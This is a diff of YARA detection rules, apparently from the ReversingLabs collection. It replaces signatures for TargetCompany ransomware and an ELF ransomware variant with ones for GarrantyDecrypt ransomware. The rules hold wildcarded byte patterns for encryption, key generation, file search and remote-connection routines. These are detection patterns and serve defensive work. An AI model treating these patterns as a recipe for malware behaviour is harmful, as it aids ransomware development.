-		$subvert_grub_1 = {
-            55 48 89 E5 48 81 EC ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 89 45 ?? 31 C0 48 B8
-            ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85
-            ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ??
-            ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ??
-            ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8
-            ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85
-            ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? 66 C7 85 ?? ?? FF FF ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ??
-            ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ??
-            48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 B8 ?? ??
-            ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ??
-            ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ??
-            ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8
+		$search_and_encrypt_p1 = {
+            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 57 8B BC 24 ??
+            ?? ?? ?? 57 89 7C 24 ?? FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 89 44
+            24 ?? FF D5 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ??
+            ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 51 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 54 24 ?? 52 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8D 4C 24 ?? 51
+            57 C6 04 07 ?? FF D5 F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 84
+            C0 0F 85 ?? ?? ?? ?? 8A 0F 33 D2 84 C9 74 ?? BE ?? ?? ?? ?? 8B C7 2B F7 88 0C 06 8A
+            48 ?? 40 42 84 C9 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 82 ?? ?? ?? ?? ?? C6 82 ??
+            ?? ?? ?? ?? FF D5 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6
+            74 ?? 56 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4
+            ?? 68 ?? ?? ?? ?? 57 FF D5 57 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 38 44 24 ?? 74
         }
-		$subvert_grub_2 = {
-            48 89 85 ?? ?? ?? ?? 66 C7 85 ?? ?? FF FF ?? ?? 48 B8 ?? ?? ??
-            ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ??
-            48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ??
-            ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ??
-            ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48
-            8B 85 ?? ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ??
-            ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 4C 8D 85 ?? ??
-            ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ??
-            ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D B5 ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ??
-            ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7
-            E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ??
-            ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 B9 ??
-            ?? ?? ?? ?? ?? ?? ?? 48 89 08 C7 40 ?? ?? ?? ?? ?? C6 40 ?? ?? 48 8B 85
+		$search_and_encrypt_p2 = {
+            40 80 7C 04 ?? ?? 75 ?? 8A 4C 04 ?? 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ?? 80 7C 04 ??
+            ?? 75 ?? 80 7C 04 ?? ?? 74 ?? 80 F9 ?? 75 ?? B3 ?? 38 5C 04 ?? 75 ?? 80 7C 04 ?? ??
+            75 ?? 80 7C 04 ?? ?? 75 ?? 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 05 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? FF 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? B3 ?? B2 ?? 80 F9 ?? 75 ?? 38 5C 04 ?? 75
+            ?? 80 7C 04 ?? ?? 75 ?? 38 5C 04 ?? 75 ?? 32 D2 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ??
+            80 7C 04 ?? ?? 75 ?? 80 7C 04 ?? ?? 75 ?? 32 D2 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ??
+            80 7C 04 ?? ?? 75 ?? 80 7C 04 ?? ?? 0F 84 ?? ?? ?? ?? 84 D2 0F 84 ?? ?? ?? ?? 8A 0F
+            33 D2 84 C9 74 ?? 8D B4 24 ?? ?? ?? ?? 8B C7 2B F7 8D A4 24 ?? ?? ?? ?? 88 0C 06 8A
+            48 ?? 40 42 84 C9 75 ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 0F B6
+            05 ?? ?? ?? ?? C6 84 14 ?? ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 8B 15
+            ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 33 C0 6A ?? 89 8C 24 ?? ?? ?? ?? 89 94 24 ?? ?? ??
+            ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 68 ?? ?? ?? ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 0D ??
+            ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B E8 A1 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 8B 0D ?? ?? ??
+            ?? 89 84 24 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 66 8B 15 ?? ?? ??
+            ?? 89 8C 24 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 8D 74 24 ?? 89 6C 24 ?? 66 89
         }
-		$subvert_grub_3 = {
-            48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ??
-            ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 85 ?? ?? ??
-            ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 85 ?? ?? ??
-            ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ?? EB ?? 48 8D 85 ??
-            ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89
-            85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ??
-            ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ??
-            48 83 BD ?? ?? ?? ?? ?? 74 ?? 4C 8D 85 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D ??
-            ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D B5
-            ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 48 83 C4 ?? EB ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ??
-            ?? 48 83 BD ?? ?? ?? ?? ?? 74 ?? 4C 8D 85 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D
-            ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D
-            B5 ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 48 83 C4 ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 8B
-            55 ?? 64 48 33 14 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3
+		$search_and_encrypt_p3 = {
+            94 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ??
+            52 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51
+            E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 56
+            68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50
+            8D 84 24 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A
+            ?? 51 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 57 E8 ?? ?? ?? ?? 83 C4
+            ?? 56 E8 ?? ?? ?? ?? 8B 7C 24 ?? 83 C4 ?? FF 05 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52
+            FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 2B F0 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 03
+            C6 50 8D 8C 24 ?? ?? ?? ?? 51 8B D1 52 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 85 C0 75 ?? FF 05 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 55 E8 ?? ??
+            ?? ?? 8B 2D ?? ?? ?? ?? 83 C4 ?? 8B 74 24 ?? 8D 4C 24 ?? 51 56 FF 15 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? 56 FF 15
         }
 
 	condition:
-		uint32(0)==0x464C457F and ($search_files and ( all of ($encrypt_files_*)) and ( all of ($subvert_grub_*)))
+		uint16(0)==0x5A4D and ( all of ($search_and_encrypt_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Targetcompany : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Garrantydecrypt : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects TargetCompany ransomware."
+		description = "Yara rule that detects GarrantyDecrypt ransomware."
 		author = "ReversingLabs"
-		id = "7e6983f9-2aca-5cfa-aad6-38aa64fa2062"
-		date = "2021-09-27"
-		modified = "2021-09-27"
+		id = "0aa05f06-1773-5ce8-892d-04468f5deccc"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.TargetCompany.yara#L1-L141"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "05fa81afa8aa1e3b9955ad24a274ddef4fb32d678902af7aae6d6c67ed3bf0fd"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.GarrantyDecrypt.yara#L1-L79"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "7194c1e0e15a89f2c691a7d586b9db68295cc52a5f042d0f7eb558c326430444"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -38223,736 +39397,23 @@ rule REVERSINGLABS_Win32_Ransomware_Targetcompany : TC_DETECTION MALICIOUS MALWA
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "TargetCompany"
+		tc_detection_name = "GarrantyDecrypt"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$encrypt_files_p1 = {
-            E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 59 53 68 ?? ?? ?? ?? 6A ?? 53 6A
-            ?? 68 ?? ?? ?? ?? 56 FF D7 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83
-            BD ?? ?? ?? ?? ?? 75 ?? BF ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 56 8D 75 ?? E8 ?? ?? ??
-            ?? 50 89 5D ?? E8 ?? ?? ?? ?? 53 6A ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59
-            E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 53 68
-            ?? ?? ?? ?? 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 56 FF D7 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ??
-            ?? 6A ?? 5F 53 57 56 FF B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 50
-            89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 33 FF 3B F3 89 85
-            ?? ?? ?? ?? 7F ?? 7C ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? 33 FF 47 EB ?? B9 ?? ??
-            ?? ?? 3B C1 73 ?? 53 51 56 FF B5 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50
-        }
-		$encrypt_files_p2 = {
-            56 FF B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 89 95 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 3B FB 8B 3D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
-            89 9D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 59 89 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 FF B5 ??
-            ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF B5 ?? ?? ?? ?? 8D 4D
-            ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 FF B5 ??
-            ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ??
-            ?? ?? ?? FF D6 E9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 89 85 ?? ?? ?? ?? 3B C3 0F 84 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 86 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 53 53 FF B5 ??
-            ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50 FF B5 ??
-            ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF B5 ??
-            ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53
-            FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50
-            FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 01 85
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 11 85 ?? ?? ?? ?? FF 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ??
-            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 6A ?? 53 53 33 C0 50 FF B5 ?? ?? ?? ?? FF D7 8B
-            BD ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 57 FF D6 53 8D 85 ?? ?? ??
-            ?? 50 6A ?? 8D 45 ?? 50 57 FF D6 53 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 57 FF
-            D6 57 FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8
-        }
-		$remote_connection_p1 = {
-            55 8B EC 83 EC ?? 53 56 33 F6 57 8D 5D ?? 89 75 ?? E8 ?? ?? ?? ?? 89 75 ?? 56 56 56
-            FF 75 ?? 56 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 3B DE 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 FF 6A ?? 8D
-            45 ?? 50 FF 74 BD ?? 53 FF 15 ?? ?? ?? ?? 47 83 FF ?? 72 ?? 56 56 6A ?? 56 56 FF 75
-            ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 33 C9 80 7D ?? ??
-            B8 ?? ?? ?? ?? 0F 95 C1 56 49 23 C8 03 C8 81 C9 ?? ?? ?? ?? 51 56 56 56 FF 75 ?? 89
-            4D ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 6A ??
-            5F 8D 45 ?? 50 8D 45 ?? 50 6A ?? 53 89 7D ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ??
-            81 4D ?? ?? ?? ?? ?? 57 8D 45 ?? 50 6A ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 8B 45 ?? FF
-            75 ?? F7 D8 1B C0 50 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 56 56 8D 45 ??
-            50 53 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 C7 50 FF 75 ?? E8 ?? ?? ??
-            ?? 59 59 8D 4D ?? 51 FF 75 ?? 89 45 ?? 03 C7 50 53 FF 15 ?? ?? ?? ?? 03 7D ?? 39 75
-            ?? 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ??
-            39 75 ?? 75 ?? 33 C0 40 39 45 ?? 74 ?? 89 45 ?? E9 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ??
-            ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 5F 5E 5B C9 C3
-        }
-		$remote_connection_p2 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 9D ?? ?? ?? ??
-            8B F9 E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 45
-            ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 85 F6 75
-            ?? B8 ?? ?? ?? ?? 50 8D 45 ?? 50 57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 8B F8 85 F6 74 ?? 56 E8 ?? ?? ?? ?? 59 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 59 FF B5
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 5F 5E 33
-            CD 5B E8 ?? ?? ?? ?? C9 C3
-        }
-		$generate_key = {
-            0F 31 0F AF C8 0F AF CE 0F AF 8D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 33 FF 47 57 53 53
-            8D 85 ?? ?? ?? ?? 50 89 8D ?? ?? ?? ?? FF D6 3B C3 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ??
-            ?? ?? 75 ?? 6A ?? 57 53 53 8D 85 ?? ?? ?? ?? 50 FF D6 3B C3 74 ?? 8D 85 ?? ?? ?? ??
-            50 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 59 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C7
-            B9 ?? ?? ?? ?? 8B 11 8B F2 C1 EE ?? 33 F2 69 F6 ?? ?? ?? ?? 03 F0 89 71 ?? 83 C1 ??
-            40 81 F9 ?? ?? ?? ?? 7C ?? 57 A3 ?? ?? ?? ?? FF 15
-        }
-		$find_files_p1 = {
-            8D 85 ?? ?? ?? ?? 53 53 50 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ??
-            83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
-            D6 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57
-            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 33 F6 0F B7
-            C6 FF 34 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
-            ?? 46 66 83 FE ?? 72 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ??
-            ?? 0F 84 ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 0F B7 B5 ?? ?? ?? ?? 8D 34 B5
-        }
-		$find_files_p2 = {
-            FF 36 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D3 FF 36 89 85 ?? ??
-            ?? ?? FF D3 8B 8D ?? ?? ?? ?? 3B C8 0F 84 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? 66 83 BD ??
-            ?? ?? ?? ?? 72 ?? C6 85 ?? ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? FF 34 85 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FE 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ??
-            ?? 72 ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 74 ?? 6A ?? 59 FF B5 ?? ?? ?? ?? 33 C0
-            8B FE F3 AB 66 8B 85 ?? ?? ?? ?? 66 89 46 ?? FF D3 8D 44 00 ?? 50 E8 ?? ?? ?? ?? 59
-            FF B5 ?? ?? ?? ?? 89 46 ?? 50 FF 15 ?? ?? ?? ?? 56 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BF ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 EB ?? 56 FF 15 ?? ?? ??
-            ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B
-            4D ?? 5F 5E 33 CD 33 C0 5B E8 ?? ?? ?? ?? C9 C2
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($generate_key) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
-}
